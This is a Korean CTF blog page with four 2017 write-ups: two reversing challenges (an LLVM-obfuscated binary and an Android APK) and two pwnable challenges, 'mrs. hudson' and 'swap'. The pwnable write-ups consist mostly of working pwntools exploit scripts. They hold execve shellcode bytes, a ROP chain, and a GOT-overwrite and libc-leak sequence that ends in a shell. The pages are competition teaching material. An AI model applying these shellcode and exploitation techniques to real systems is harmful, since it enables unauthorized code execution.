2017. 9. 21. 04:50

## CSAW CTF_2017(prophecy, rev)


[Summary]

1. LLVM으로 난독화된 문제이다.

2. 베이직 블록만 잘찾고 브포걸고 실행하면 된다.

3. 그래프 모드로 봤을 때 젤 아래에 있던 블럭들의 첫 번째만 브포걸고 실행하고

4. 베이직 블락이라고 생각되는 곳에서 디컴파일하면서 분석하면 된다.

5. 페이로드 중간에 비교하지 않는 부분은 \x00을 넣어서 뒤에 페이로드가 깨지지 않게 한다.


[Analysis] 

 이 문제는 간단하게 요약하면 LLVM으로 난독화되어 있는 아주 간단한 프로그램이다. 프로그램을 실행하여

전반적인 프로그램 흐름을 설명하면 우선 아래 [그림 1]과 같이 실행된다.


[그림 1] 프로그램 실행


 위 그림을 보면 secret name을 받고 unlock할 key를 입력받는데 아무거나 입력했더니 그냥 

프로그램이 종료가 된다. 그래서 IDA로 까보았다. 처음에는 LLVM 난독화는 리버싱해본적이 전혀 없어서 

그냥 진자 IDA로 동적디버깅 F10계속 눌러가면서 내가 이해할 수 있는 코드 나오면 분석하고 다시 반복하는

형태로 진행했다. 그런데 이렇게 하다보니 정말 답도 없을거 같아서 LLVM 관련된 롸업을 쭉보다보니까 

어떤 변수에 값을 집어넣고 계속 상태변화하는 것으로 다음 베이직 블럭을 가리킨다는 것을 알게되었고

그것을 알고나니까 쓸데없는건 다 생략하고 필요한 부분만 브포를 걸면 되겠구나라고 생각이 되었다.


 우선 디컴파일을 한 소스코드를 보면 아래 [그림 2]와 같다.


[그림 2] 디컴파일 소스


[그림 2]를 보면 알겠지만 뭔가 의미 있는 코드 같으면서도 위에 if문 같은곳에서 v534랑 비교하고 점프하고 

이런 루틴이 굉장히 많다. 진짜로 시간이 넘쳐나면 그냥 이런곳에다가 하나하나 다 브포 걸고 차례대로

F10만 연타하면 언젠가는 풀릴거지만 대회니까 좀 빠른 방법을 생각하던 도중 아래 [그림 3]의  그래프 뷰를 

보게 되었다.



[그림 3] IDA 그래프 뷰


 뭔가 젤 아래만 보면 전체 프로그램을 다 보는 것 같았다. 그래서 젤 아래 블럭들만 전부 브포를 걸었다.

그리고 IDA로 동적디버깅을 하니까 전부 basic블락은 아니었지만 대부분이 의미있는 코드 부분이었고 이제

이걸 기반으로 하나하나 분석해보도록 하겠다.


 우선 첫 번재 루틴인 secret name을 입력받는 루틴은 [그림 4]와 같다.


[그림 4] 첫 번째 Basic Block



 위 [그림 4]의 코드를 분석해보면 그냥 간단하게 출력할 것 출력하고 read()함수로 secret name을 입력 받는다.


이제 두 번재 루틴을 보면 아래 [그림 5]와 같다.



[그림 5] 두 번재 Basic Block



 여기서는 secret name으로 입력 받은 것의 길이를 구한 후 -1부분에 \x00을 넣는다. 


 이제 세 번째 루틴을 보면 아래 [그림 6]과 같다.



[그림 6] 세 번째 Basic Block



 여기서는 unlock할 key값을 입력하라고 하고 실제로 read()함수로 사용자 입력을 받는다. 그게 다다.


그럼 이제 네 번째 루틴을 볼 차례다. 아래 [그림 7]을 보자.



[그림 7] 네 번째 Basic Block



 여기서는 unlock_key 값의 길이를 구한 다음 \x00을 마지막에 집어넣는다. [그림 5]와 비슷한 행위를 한다.

여기서 이 부분은 나중에 꽤 중요해지는데 이걸 제대로 몰랐다가 나중에 삽질을 엄청나게 했다.


 이제 다섯 번째 루틴을 볼 텐데 코드는 아래 [그림 8]과 같다.



[그림 8] 다섯 번째 Basic Block



 여기서는 secret name에 ".starcraft"라는 문자열이 있는지 검증하는 루틴이다. 여기서 만약

".starcraft"라는 문자열이 포함되어 있지 않으면 그냥 종료된다.(v33 != 0에서 확인)


 이제 여섯 번째 루틴을 볼텐데 코드는 아래 [그림 9]와 같다.


[그림 9] 여섯 번째 Basic Block



여기서는 그냥 "[*] Interprting the secret...."이라는 문자열을 출력하고 끝이다.


일곱 번째 루틴을 보자. 코드는 아래 [그림 10]과 같다.


[그림 10] 일곱 번째 Basic Block



여기서는 그냥 /tmp경로를 얻어와서 "/tmp/" + [secret name]을 파일로 하나 만든 다음 key값을 그 파일에다가

쓰는 역할을 수행한다. 그리고 그 파일을 읽어들여와서 file handle을 저장하고 있다.


여덟 번째 루틴을 보자. 코드는 아래 [그림 11]과 같다.



[그림 11] 여덟 번째 Basic Block



여기서는 keyfile을 읽어들여와서 4바이트만큼 읽어들이고 0x17202508과 비교를 하는데 아마

의미적으로 생각하자면 20170825와 비교를 하는 것같다.(년월일)

여기서 비교 검증에 실패하면 프로그램은 또 종료되므로 key 값은 첫 4바이트는 "\x08\x25\x20\x17"

이어야 한다.


아홉 번재 루틴을 보자. 코드는 아래 [그림 12]와 같다.



[그림 12] 아홉 번째 Basic Block



여기서는 또 다시 키 파일에서 8바이트를 읽어들여와 저장하고 또 1바이트를 읽어들여와 저장한다.

이번 루틴에서는 비교하는 루틴은 없으므로 나중에 이를 다른 Basic Block에서 비교할 것이라고 

생각할 수 있다. 우선은 8바이트 1바이트를 읽어들였다는 것만 기억하면 된다.


열 번째 루틴을 보자. 코드는 아래 [그림 13]과 같다.



[그림 13] 열 변째 Basic Block



 여기서는 아까 [그림 12]에서 1바이트 읽어들여온 키값이랑 79라는 숫자랑 비교를 한다. 

키값 비교가 있는 것이다. 여기서는 2가지 경우가 있는데 나는 79보다 작으면 왠지 프로그램 종료할 것 같았고 

예상이 맞았다. 따라서 비교를 할때 79이상이어야 한다.


열한 번째 루틴을 보자. 코드는 아래 [그림 14]와 같다.



[그림 14] 열한 번째 Basic Block



 여기서는 아까 [그림 13]에서 비교한 키 값과 이제 90과 비교를 한다. 아마 키 값의 조건은 

79이상 90미만 이어야 하는 것 같다.


 열두 번째 루틴을 보자. 코드는 아래 [그림 15]와 같다.



[그림 15] 열두 번째 Basic Block



 여기서는 [그림 13, 14]에서 비교한 키 값이랑 또비교를 한다. 그런데 이번엔 부등호가 아니라

equal로 비교를 한다. 아마 키 값의 조건은 79(0x4f, 'O')인 것 같다. 따라서 두 번재로 비교하는 키 값은 

0x4F이어야 한다.


열세 번째 루틴을 보자. 코드는 아래 [그림 16]과 같다.



[그림 16] 열세 번째 Basic Block



 여기서는 그냥 이상한 문구를 출력하고 끝낸다. 아마 키 값 검증을 성공해서 다음 스테이지로 넘어가는 것 같다.


열네 번째 루틴을 보자. 코드는 아래 [그림 17]과 같다.



[그림 17] 열네 번째 Basic Block



 여기서는 또 다시 키 파일에서 키 값을 1바이트 읽어들여온다. 아마 또 키검증을 하는 루틴이 있을 것 같다.


열다섯 번째 루틴을 보자. 코드는 아래 [그림 18]과 같다.



[그림 18] 열다섯 번째 Basic Block



 여기서는 [그림 17]에서 읽어온 key값이랑 2랑 비교를 한다. 아마 아까와 비슷하게 2이상이어야 하는 

조건인거 같다고 생각을 하면 된다.(물론 2가지경우가 있으므로 둘다 해봐야 한다.)


열여섯 번째 루틴을 보자. 코드는 아래 [그림 19]와 같다.



[그림 19] 열여섯 번째 Basic Block



 여기서는 아까 그 키값과 3이랑 비교를 한다. 아마 2<= key <3이 이번 검증의 조건인 듯하다. 

이 조건에 만족하는 건 2밖에 없으므로 세번째로 검증하는 key값의 조건은 0x02이다.


열일곱 번째 루틴을 보자. 코드는 아래 [그림 20]과 같다.



[그림 20] 열일곱 번째 Basic Block



 여기서는 [그림 16]과 비슷하게 이상한 문구를 출력하는 역할만 한다. 아마 아까와 마찬가지로

키 값 검증이 끝났으니 다음 스테이지로 넘어간다는 뜻으로 이해하면 된다.


열여덟 번째 루틴을 보자. 코드는 아래 [그림 21]과 같다.



[그림 21] 열여덟 번째 Basic Block



여기서는 키 파일에서 4바이트만큼 key값을 읽어들여와서 813라인에서 0xE4EA93과 비교를 한다.

아마 네번째로 비교하는 키 값의 조건은 0xE4EA93인 것 같다.


열아홉 번째 루틴을 보자. 코드는 아래 [그림 22]와 같다.



[그림 22] 열아홉 번째 Basic Block



여기서는 여태까지의 키 값 검증이 끝난 후와 마찬가지로 이상한 문구를 출력하고 끝난다.


스물 번째 루틴을 보자. 코드는 아래 [그림 23]과 같다.



[그림 23] 스물 번째 Basic Block



여기서는 또 키 파일에서 7바이트만큼 읽어들여와 그 키 값과 0x4C55544152455A와 비교 검증을 한다.

아마 다섯 번째로 비교하는 key값의 조건은 "\x5A\x45\x52\x41\x54\x55\x4C"인 것 같다.


스물한 번째 루틴을 보자. 코드는 아래 [그림 24]와 같다.



[그림 24] 스물한 번째 Basic Block



 후.. 끝이었다고 생각했는데 끝이 아니어따... F9누르면서 그냥 디버깅하면 빠르게 하니까 걱정하지 않아도된다...

여기서도 그냥 이상한 문구를 출력하고 끝이다.


스물두 번째 루틴을 보자. 코드는 아래 [그림 25]와 같다.



[그림 25] 스물두 번째 Basic Block



후.. 마지막 키값 검증이라고 생각하면서 침착하게 보면 fread()로 키 파일에서 6바이트만큼

키값을 읽어들여와 0x444556415300과 비교한다. 여섯 번째 키 값의조건은 "\x00\x53\x41\x56\x45\x44"이다.


스물세 번째 루틴을 보자. 코드는 아래 [그림 26]과 같다.



[그림 26] 스물세 번째 Basic Block



ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ.... 끝이 아니었다. 키 값 검증이 아직 더 남았나보다.


스물네 번째 루틴을 보자. 코드는 아래 [그림 27]과 같다.



[그림 27] 스물네 번째 Basic Block



 여기서 또 키 값 검증을 하는데 키 파일에서 4바이트만큼 읽어들여와서 0x4C4C4100과 비교를한다.

7번째 키값의 조건의 "\x00\x41\x4c\x4c"이다.


스물다섯 번째 루틴을 보자. 코드는 아래 [그림 28]과 같다.



[그림 28] 스물다섯 번째 Basic Block



ㅇㅇ. ㅇㅋ? ㅇㅋㅇㅋ. ㅇㅇㅇ. ㄱㄱ


스물여섯 번째 루틴을 보자. 코드는 아래 [그림 29]와 같다.



[그림 29] 스물여섯 번째 루틴



오오오오오오오오오오오오민ㅇ롬ㄴ아ㅓ로마더로미ㅏㅈㄷ로!!!!!!!!!

드디어.. 

system("cat flag");가 눈에 보였다!


이제 여기까지 분석한 걸 정리하면 아래 [그림 30]과 같다.



[그림 30] key 값 조건



????????는 8바이트고 검증을 안한다.

이제 이렇게 페이로드를 파이썬 코드를 짜서 보내면 되는데 여기서 나는 문제가 생겼었다. [그림 7]의 설명 중에

삽질을 했다라는 빨간 줄이 있는데 키 값을 읽어들여서 마지막 바이트에 "\x00"을 넣는데 이게 

"\x08\x25\x20\x17" + "AAAAAAAA" + "\x4F" + "\x02" + "\x93\xEA\xE4\x00" + "\x5A~~~" + ~~

이렇게 페이로드를 보내면 100% 실패한다. 


 왜냐하면 strlen(key)-1부분에 "\x00"을 넣기 때문에 "\xE4"부분에 "\x00"이 채워져서 페이로드가 망가진다.

그러면 어떻게 해야하냐면 ????????부분에 그냥 중간에 "\x00"을 넣어주면 된다. 그럼 strlen()-1을 해도 

????????부분에 "\x00"이 들어가고 ????????부분은 검증을 안하므로 페이로드도 안깨지고 정상적으로

플래그를 얻을 수 있다.


근데 이 글 적다보니 사망 플래그 각이나온다...

긴 글 읽어주셔서 감사합니다. ㅠㅠ



 [Exploit Code] - prophecy_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#import hexdump
 
context(arch='i386',os='linux')
#local=True
local=False
 
if local:
    p = process("./prophecy")
else:
    p = remote("reversing.chal.csaw.io"7668)
 
binary = ELF("./prophecy"
raw_input()
 
if __name__ == "__main__":
 
    print p.recvuntil(">>")
    p.send("asdfasdf.starcraft\n")
 
    key = "\x08\x25\x20\x17" + "AAAA" + "\x00"*4 + "\x4f" + "\x02" + "\x93\xea\xe4\x00" + "\x5a\x45\x52\x41\x54\x55\x4c" + "\x00\x53\x41\x56\x45\x44" + "\x00\x41\x4c\x4c"
    print p.recvuntil(">>")
    p.send(key+'\n')
 
    p.interactive()
 
cs


[Get Flag~~!!!!]


[그림 31] flag



끝~!!!!



'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
[Tokyo Westerns CTF_2017] swap(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 9. 21. 03:13

## HDCON_2017(Fabuary, rev)


[Summary]

1. Android APK 리버싱 & native library 리버싱 문제이다.

2. 가위바위보를 하는 어플리케이션이 있는데 17916점을 넘기면 이기는 어플이다.

3. 한번 이길 때마다 1점씩오르며 각 가위,바위,보를 34999번이상 시도할 수 없다.(수동 방지인듯..)

4. rpc_calc()함수에서 score가 17916점을 넘기면 하드코딩된 값과 xor연산을 하여 키값을 생성해냄.

5. CallMe에서 해당 키값을 이용하여 하드코딩된 encrypt된 flag를 ck()를 호출하여 decrypt함.


[Analysis] 

 이 문제는 간단하게 요약하면 가위바위보를 하는 어플리케이션이 있는데 이기면 Score가 1점 올라가는 시스템이다. 

해당 어플리케이션은 아래 [그림 1]과 같다.



[그림 1] HDcon 어플리케이션 UI



 이제 이 apk를 jadx로 분석해보면 크게 2개의 중요한 루틴이 있다. 첫 번째는 가위, 바위, 보 버튼을 눌렀을 때 동작하는 

ClickListener인데 코드는 아래 [그림 2]와 같다. 



[그림 2] Paper button ClickListener 코드


 위 [그림 2]에 나온 코드는 보를 클릭했을 때의 동작을 나타내는 코드인데 나머지도 코드가 비슷하므로 이것만 

분석하면 된다.

 우선 qq라는 변수에 시스템이 랜덤으로 생성해 낸 가위, 바위, 보 중 하나를 넣고 '보'를 의미하는 3을 첫번째 인자로

qq를 2번째 인자로 rps_calc라는 함수를 호출하는데 이는 native library에 있으므로 해당 라이브러리를 IDA로

분석해야한다. 일단은 코드를 쭉 보면 rps_calc()함수의 리턴 값을 setText()로 어플리케이션에 출력하는데 

2017일 경우는 특별한 동작을 한다. "mm"에다가 rps_calc()함수의 리턴 값을 넣고 send broadcast를 한다.


 대충 딱 봐도 이게 문제를 풀었을 때 동작하는 루틴이겠구나라고 알 수 있는 부분이다.

이제 그럼 rps_calc()를 분석해보도록 하겠다. IDA로 library를 열어서 rps_calc()함수를 들여다보면 아래 [그림 3]

과 같다.



[그림 3] rps_calc() 함수 디컴파일


 다른 부분은 볼필요가 거의 없다. 그냥 이겼을 때 "You Win"을 출력하고 졌을 때 "You Lose"를 출력하고 뭔가 이상한 

걸 탐지하면 이상하다고 출력하는 부분이다. [그림 3]의 코드를 보면 score > 17916인 분기문을 볼 수 있는데 딱봐도

score가 17916이상이면 뭔가를 하고 아까 분석했던 것처럼 2017이 들어있는 문자열이 나오겠구나 생각할 수 있다.

 그럼 그안에를 보면 하드코딩된 값과 0x58을 xor하는 것을 볼 수 있는데 이걸 그냥 직접 해보면 "HD-C-O-N-2-0-1-7"

이 나온다. 이제 이걸로 아까 [그림 2]에서 분석했던 걸 참조하면 mm변수에 해당 키값을 넣고 send한다는 것을 

알 수 있다.


 그럼 이제 apk에서 봐야한다고 했던 2번째 부분을 보면 되는데 바로 CallMe이다. 코드는 아래 [그림 4]와 같다.



[그림 4] CallMe 코드

 이 코드를 보면 mmm 변수에 mm으로 받은 값을 집어넣고 하드코딩된 encrypted flag와 뭔가 

쿵짝쿵짝을 하는걸 알 수 있는데 키 값이 16자이므로 16자넘어가면 첨부터 key값 사용하는 루틴이 보이고

핵심 decrypt하는 루틴은 ck()함수에서 하는 것이라고 생각할 수 있다. ck()함수는 index를 첫 번째 인자로,

key값dmf 2번째 인자로, decrypted flag를 3번째 인자로 받고 호출된다. 그럼 이제 IDA로 ck()함수를 

분석하면 되는데 디컴파일된 결과는 아래 [그림 5]와 같다.



[그림 5] ck() 함수 디컴파일


 위 [그림 5]의 코드도 굉장히 간단한데 index값을 기준 삼아 case문으로 분기를 나누고 그냥 시프트 연산

xor연산으로 쿵짝쿵짝하고 리턴하는 간단한 함수이다. 따라서 이건 파이썬으로 똑같이 짜주면 decrypt가 

가능하다. 그렇게 나온 결과는 "[*] flag is : W@tching_7th_Sunse7_in_B@li" 이었다.


[Exploit Code] - rock_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
key = list("HD-C-O-N-2-0-1-7")
enc_flag = list("SBtbhfle_7tg]Runsj5]io_MBmi")
dec_flag = []
 
def ck(i, key, enc_flag):
    if(i%6 == 0):
        result = chr(((ord(key) & 0xfff0>> 4) ^ ord(enc_flag))
        return result
    elif(i%6 == 1):
        result = chr(((ord(key) & 0xffe0>> 5) ^ ord(enc_flag))
        return result
    elif(i%6 == 2):
        result = chr(((ord(key) & 0xff80>> 7) ^ ord(enc_flag))
        return result
    elif(i%6 == 3):
        result = chr(((ord(key) & 0xffc0>> 6) ^ ord(enc_flag))
        return result
    elif(i%6 == 4):
        result = chr(ord(enc_flag))
        return result
    elif(i%6 == 5):
        result = chr(ord(enc_flag) ^ 0xf)
        return result
    else:
        result = chr(67)
        return result
        
 
for i in xrange(len(enc_flag)):
    if(i<16):
        dec_flag.append(ck(i, key[i], enc_flag[i]))
    else:
        dec_flag.append(ck(i, key[i-16], enc_flag[i]))
 
print "[*] flag is : " + "".join(dec_flag)
 
cs


[Get Flag~~!!!!]


[그림 6] flag



끝~!





Posted by holinder4S
2017. 9. 13. 21:46

## ASIS CTF_2017(mrs. hudson, pwn)


[Summary]

1. rop를 이용해 scanf("%s",bss); 호출

=> pop_rdi, pop_rsi_r15 가젯 이용

=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.

=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데

그 주소를 이용.

=> 쉘코드 입력하고 exploit!


[Exploit Code]  - mrshudson_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./mrs._hudson")
else:
    p = remote("178.62.249.106"8642)
 
binary = ELF("./mrs._hudson")
 
raw_input()
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
bss = 0x601040
 
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
scanf_plt_6 = 0x400526
 
aS = 0x40072b
 
if __name__ == '__main__':
    payload = "A"*0x70 + "ebppebpp"
    payload += p64(pop_rdi) + p64(aS)
    payload += p64(pop_rsi_r15) + p64(bss) + p64(bss)
    payload += p64(scanf_plt_6)
    payload += p64(bss)
 
    p.send(payload + '\n')
    p.send(shellcode + '\n')
    
    p.interactive()
cs


[Get Flag~~!!!!]


[그림 1] flag확인


끝~!



Posted by holinder4S
2017. 9. 13. 11:21

## Tokyo Westerns CTF_2017(swap, pwn)


[Summary]

1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)

2. oneshot gadget을 얻기 위해 libc leak을 해야한다.

=> setvbuf_got를 puts_plt로 덮어씌운다.

=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))

=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))

3. exit_got를 oneshot_gadget으로 덮어씌운다.


[Exploit Code]  - swap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./swap")
else:
    p = remote("pwn1.chal.ctf.westerns.tokyo"19937)
 
binary = ELF("./swap")
 
raw_input()
 
puts_plt = 0x4006b0
memcpy_got = 0x601040
puts_got = 0x601018
read_got = 0x601028
exit_got = 0x601058
setvbuf_got = 0x601048
start_addr = 0x400760
stdin_addr = 0x601090
stderr_addr = 0x6010a0
 
def print_menu():
    p.recvuntil('Your choice:')
 
def set_addr(addr1, addr2):
    print_menu()
    p.send('1'+'\n')
    p.recvuntil('1st addr')
    p.send(str(addr1))
    p.recvuntil('2nd addr')
    p.send(str(addr2))
 
def swap():
    print_menu()
    p.send('2'+'\n')
 
if __name__ == "__main__":
    ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got)
    set_addr(memcpy_got, read_got)
    swap()
 
    ## Stage 2 : leak libc addr
    ##    - setvbuf_got <= puts_plt
    ##    - exit_got <= start_addr (for trigger setvbuf(puts))
    ##    - stderr <= stdin (for puts(_IO_2_1_stdin's addr)
    ##      => result : libc stdin leak => libc base => one shot
    set_addr(0, setvbuf_got)
    swap()
    p.send(p64(puts_plt))
 
    set_addr(0, exit_got)
    swap()
    p.send(p64(start_addr))
    
    set_addr(0, stderr_addr)
    swap()
    p.send(p64(stdin_addr))
 
    p.send('0'+'\n')
    p.recvuntil('Bye.')
    p.recvline(); p.recvline(); p.recvline()
 
    ## leak & calc
    _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00")
    libc_base = _IO_2_1_stdin_leak - 0x3c48e0
    one_gadget = libc_base + 0xf0274#0x4526a
    print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak)
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] one shot gadget : " + hex(one_gadget)
 
    ## Stage 3 : exit <= oneshot_gadget
    set_addr(0, exit_got)
    swap()
    p.send(p64(one_gadget))
 
    ## Final : trigger
    p.send('0'+'\n')
    
    #print p.recv(1024)
    #puts_leak = p.recv(1024)[:6]+"\x00\x00"; 
    #print "[+] puts addr : " + hex(u64(puts_leak))
    
    
    p.interactive()
 
 
cs


[Get Flag~~!!!!]


[그림 1] flag 확인


끝~!

Posted by holinder4S